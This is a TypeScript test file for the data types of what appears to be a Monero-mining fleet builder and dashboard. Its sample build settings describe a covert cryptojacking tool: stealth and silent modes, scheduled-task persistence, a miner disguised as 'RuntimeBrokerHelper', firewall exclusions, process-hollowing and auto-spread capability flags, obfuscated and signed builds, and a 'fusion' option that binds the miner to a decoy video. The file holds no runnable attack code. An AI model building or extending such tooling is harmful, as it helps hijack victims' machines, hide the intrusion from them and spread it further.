import { describe, expect, it } from 'vitest';
import type {
  Agent,
  AgentCapabilities,
  AgentDefaults,
  AlertsConfig,
  BackupPool,
  BlueprintInfo,
  Build,
  BuildRecord,
  BuildRequest,
  BuildResponse,
  EarningsEstimate,
  FleetAlert,
  FleetStats,
  FusionEstimate,
  HashrateSample,
  PoolConfig,
  PoolStatus,
  ServerConfig,
  ServerInfo,
  ServerSettings,
  Share,
  WalletConfig,
  WSMessage,
  XmrPrice,
} from './index';

/** Runtime shape check — types/index.ts exports interfaces only (no type guards). */
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
  for (const key of keys) {
    expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
  }
}

describe('types/index — Agent', () => {
  const sample: Agent = {
    id: 'a1',
    name: 'office-pc',
    wallet: '4' + 'A'.repeat(94),
    ip: '192.168.1.20',
    version: '1.0.0',
    status: 'online',
    cpu_cores: 8,
    memory_gb: 16,
    last_seen: '2026-05-30T12:00:00Z',
    created_at: '2026-05-01T08:00:00Z',
    hashrate_15s: 1200,
    hashrate_1m: 1180,
    hashrate_15m: 1150,
    shares_total: 100,
    shares_good: 98,
    shares_bad: 2,
    cpu_usage_pct: 45,
    memory_usage_pct: 60,
    uptime_seconds: 86400,
  };

  it('accepts online/offline/error status values', () => {
    const statuses: Agent['status'][] = ['online', 'offline', 'error'];
    for (const status of statuses) {
      expect(statuses).toContain(status);
    }
    expect(sample.status).toBe('online');
  });

  it('supports optional fleet metadata fields', () => {
    const extended: Agent = {
      ...sample,
      notes: 'lab machine',
      tags: ['office', 'gpu'],
      platform: 'windows',
      arch: 'amd64',
      os_version: '11',
      capabilities: {
        hole_punch: false,
        remote_aggressive: false,
        mesh_p2p: false,
        auto_spread: false,
        process_hollowing: false,
        ai_enabled: true,
      } satisfies AgentCapabilities,
      ssh_available: false,
      posture_score: 85,
      last_patch_days: 14,
    };
    expect(extended.tags).toHaveLength(2);
    expect(extended.capabilities?.ai_enabled).toBe(true);
  });
});

describe('types/index — BuildRequest', () => {
  const minimal: BuildRequest = {
    worker_name: 'worker-1',
    server_url: 'http://192.168.1.5:8989',
    wallet: '4' + 'A'.repeat(94),
    threads: 4,
    thread_mode: 'percent',
    thread_percent: 75,
    cpu_priority: 'below_normal',
    mining_mode: 'idle',
    display_mode: 'background',
    silent_mode: true,
    run_as: 'scheduled',
    auto_start: true,
    persistence: true,
    process_name: 'RuntimeBrokerHelper',
    max_cpu_usage_pct: 80,
    max_memory_percent: 70,
    min_free_ram_mb: 1024,
    idle_threshold_pct: 20,
    idle_duration_minutes: 5,
    schedule_start: '21:00',
    schedule_end: '06:00',
    install_base: 'localappdata',
    install_custom_base: '',
    install_relative_path: 'CryptoMiner/{worker}',
    adapt_to_hardware: true,
    self_healing: true,
    file_logging: false,
    stealth_mode: true,
    firewall_exclusion: true,
    pool_host: 'pool.supportxmr.com',
    pool_port: 443,
    pool_tls: true,
    pool_pass: 'x',
    fusion_enabled: false,
    fusion_run_order: 'parallel',
    fusion_output_name: 'prep.exe',
    ai_enabled: false,
    ai_ollama_endpoint: 'http://localhost:11434',
    ai_model: 'llama3.2',
  };

  it('includes required core forge fields', () => {
    expectKeys(minimal as unknown as Record<string, unknown>, [
      'worker_name',
      'server_url',
      'wallet',
      'pool_host',
      'pool_port',
      'fusion_enabled',
      'ai_enabled',
    ]);
  });

  it('accepts optional target_os union values', () => {
    const platforms: NonNullable<BuildRequest['target_os']>[] = ['windows', 'linux', 'darwin', 'universal'];
    for (const target_os of platforms) {
      const req: BuildRequest = { ...minimal, target_os };
      expect(req.target_os).toBe(target_os);
    }
  });

  it('accepts backup pool and server URL fallbacks', () => {
    const backupPools: BackupPool[] = [{ host: 'backup.pool', port: 443, tls: true, pass: 'x' }];
    const req: BuildRequest = {
      ...minimal,
      backup_pools: backupPools,
      backup_server_urls: ['http://192.168.1.6:8989'],
      cancel_token: 'cancel-abc',
    };
    expect(req.backup_pools).toHaveLength(1);
    expect(req.backup_server_urls?.[0]).toContain('192.168');
  });
});

describe('types/index — BuildRecord / Build alias', () => {
  const record: BuildRecord = {
    id: 'build-uuid',
    worker_name: 'worker-1',
    server_url: 'http://192.168.1.5:8989',
    wallet: '4' + 'A'.repeat(94),
    threads: 4,
    file_size: 1024000,
    file_path: '/data/builds/worker-1.exe',
    created_at: '2026-05-30T10:00:00Z',
    pool_host: 'pool.supportxmr.com',
    pool_port: 443,
    pool_tls: true,
    pool_pass: 'x',
    download_url: '/api/v1/builds/build-uuid/download',
  };

  it('Build alias is assignable from BuildRecord', () => {
    const build: Build = record;
    expect(build.id).toBe(record.id);
    expect(build.worker_name).toBe('worker-1');
  });

  it('supports optional download and bundle metadata', () => {
    const extended: BuildRecord = {
      ...record,
      file_name: 'worker-1.exe',
      platform: 'windows',
      bundle_size: 2048000,
      pinned: true,
      extra_files: [{ file_name: 'README.txt' }],
    };
    expect(extended.pinned).toBe(true);
    expect(extended.bundle_size).toBeGreaterThan(extended.file_size);
  });
});

describe('types/index — server and fleet payloads', () => {
  it('ServerInfo carries LAN and websocket URLs', () => {
    const info: ServerInfo = {
      port: 8989,
      host: '0.0.0.0',
      local_ips: ['192.168.1.5'],
      suggested_url: 'http://192.168.1.5:8989',
      dashboard_url: 'http://192.168.1.5:8989/',
      websocket_url: 'ws://192.168.1.5:8989/ws/dashboard',
    };
    expect(info.local_ips).toContain('192.168.1.5');
  });

  it('ServerConfig nests pool, wallet, server, and alerts', () => {
    const pool: PoolConfig = { host: 'pool.example.com', port: 3333, use_tls: false, password: 'x' };
    const wallet: WalletConfig = { address: '4' + 'A'.repeat(94), payment_id: '' };
    const server: ServerSettings = {
      public_url: 'http://192.168.1.5:8989',
      stats_retention_hours: 72,
      build_retention_days: 30,
      pool_reconnect_seconds: 30,
      websocket_ping_seconds: 30,
      max_agents: 100,
      max_build_size_mb: 512,
      log_agent_connections: true,
      log_share_submissions: false,
      log_pool_traffic: false,
      strict_wallet_validation: true,
      dashboard_subtitle: 'Fleet',
      open_firewall_on_start: true,
    };
    const alerts: AlertsConfig = {
      offline_threshold_minutes: 15,
      hashrate_drop_threshold_pct: 50,
      rejection_rate_threshold_pct: 10,
    };
    const config: ServerConfig = {
      port: 8989,
      data_dir: './data',
      pool,
      wallet,
      server,
      alerts,
    };
    expect(config.pool.host).toBe(pool.host);
    expect(config.wallet.address.startsWith('4')).toBe(true);
  });

  it('FleetStats tracks acceptance rate', () => {
    const stats: FleetStats = {
      total_agents: 10,
      online_agents: 8,
      total_hashrate: 50000,
      total_shares: 1000,
      accepted_shares: 980,
      rejected_shares: 20,
      accept_rate: 0.98,
    };
    expect(stats.accept_rate).toBeCloseTo(stats.accepted_shares / stats.total_shares);
  });

  it('Share and HashrateSample tie metrics to agents', () => {
    const share: Share = {
      id: 1,
      agent_id: 'a1',
      job_id: 'job-1',
      difficulty: 100000,
      accepted: true,
      hash: 'abc',
      nonce: '0001',
      timestamp: '2026-05-30T12:00:00Z',
    };
    const sample: HashrateSample = {
      id: 1,
      agent_id: 'a1',
      hashrate: 1200,
      timestamp: '2026-05-30T12:00:00Z',
    };
    expect(share.agent_id).toBe(sample.agent_id);
  });

  it('PoolStatus uses green/yellow/red traffic light status', () => {
    const statuses: PoolStatus['status'][] = ['green', 'yellow', 'red'];
    const pool: PoolStatus = {
      key: 'primary',
      host: 'pool.example.com',
      port: 443,
      use_tls: true,
      wallet: '4' + 'A'.repeat(94),
      connected: true,
      status: 'green',
    };
    expect(statuses).toContain(pool.status);
  });

  it('FleetAlert supports warn and error levels', () => {
    const alert: FleetAlert = {
      id: 'alert-1',
      level: 'warn',
      type: 'offline',
      agent_id: 'a1',
      agent_name: 'office-pc',
      message: 'Agent offline',
      timestamp: '2026-05-30T12:00:00Z',
    };
    expect(['warn', 'error']).toContain(alert.level);
  });

  it('EarningsEstimate and XmrPrice carry pricing metadata', () => {
    const earnings: EarningsEstimate = {
      hashrate: 5000,
      xmr_per_day: 0.001,
      note: 'estimate',
    };
    const price: XmrPrice = {
      usd: 180,
      fetched_at: '2026-05-30T12:00:00Z',
      source: 'coingecko',
    };
    expect(earnings.xmr_per_day).toBeGreaterThan(0);
    expect(price.usd).toBeGreaterThan(0);
  });
});

describe('types/index — build pipeline responses', () => {
  it('BuildResponse covers success and error paths', () => {
    const ok: BuildResponse = {
      success: true,
      build_id: 'uuid',
      file_name: 'worker.exe',
      download_url: '/api/v1/builds/uuid/download',
      signed: true,
      obfuscated: false,
    };
    const err: BuildResponse = { success: false, error: 'compile failed' };
    expect(ok.success).toBe(true);
    expect(err.error).toBeTruthy();
  });

  it('FusionEstimate lists byte breakdown fields', () => {
    const est: FusionEstimate = {
      prep_bytes: 1000,
      prep_name: 'video.mp4',
      estimated_worker_bytes: 5000000,
      estimated_fusion_stub_bytes: 200000,
      estimated_resource_patch_bytes: 50000,
      estimated_total_bytes: 5251000,
      output_file_name: 'runner.exe',
      project_root_path: '/proj',
      archive_path_hint: '/proj/out.zip',
      obfuscate: false,
      sign_build: false,
      notes: ['ok'],
    };
    expect(est.estimated_total_bytes).toBeGreaterThan(est.prep_bytes);
  });

  it('BlueprintInfo stores optional parsed data', () => {
    const bp: BlueprintInfo = {
      name: 'default.json',
      size: 4096,
      created_at: '2026-05-30T10:00:00Z',
      data: { worker_name: 'worker-1' },
    };
    expect(bp.data?.worker_name).toBe('worker-1');
  });

  it('AgentDefaults captures deprecated calibrate defaults shape', () => {
    const defaults: AgentDefaults = {
      threads: 4,
      thread_mode: 'percent',
      thread_percent: 75,
      cpu_priority: 'below_normal',
      max_cpu_usage_pct: 80,
      max_memory_percent: 70,
      min_free_ram_mb: 1024,
      mining_mode: 'idle',
      display_mode: 'background',
      process_name: 'RuntimeBrokerHelper',
      idle_threshold_pct: 20,
      idle_duration_minutes: 5,
      schedule_start: '21:00',
      schedule_end: '06:00',
      install_base: 'localappdata',
      install_custom_base: '',
      install_relative_path: 'CryptoMiner/{worker}',
      adapt_to_hardware: true,
      self_healing: true,
      file_logging: false,
      stealth_mode: true,
    };
    expect(defaults.thread_mode).toBe('percent');
  });

  it('WSMessage references typed ws payload import', () => {
    const msg: WSMessage = {
      type: 'stats_update',
      payload: { agents: [] } as WSMessage['payload'],
    };
    expect(msg.type).toBe('stats_update');
  });
});

describe('types/index — no runtime exports', () => {
  it('module provides interfaces only (no type guards or constants at runtime)', () => {
    // Documented expectation: consumers validate API JSON against these shapes manually.
    expect(typeof Agent).toBe('undefined');
    expect(typeof BuildRequest).toBe('undefined');
  });
});
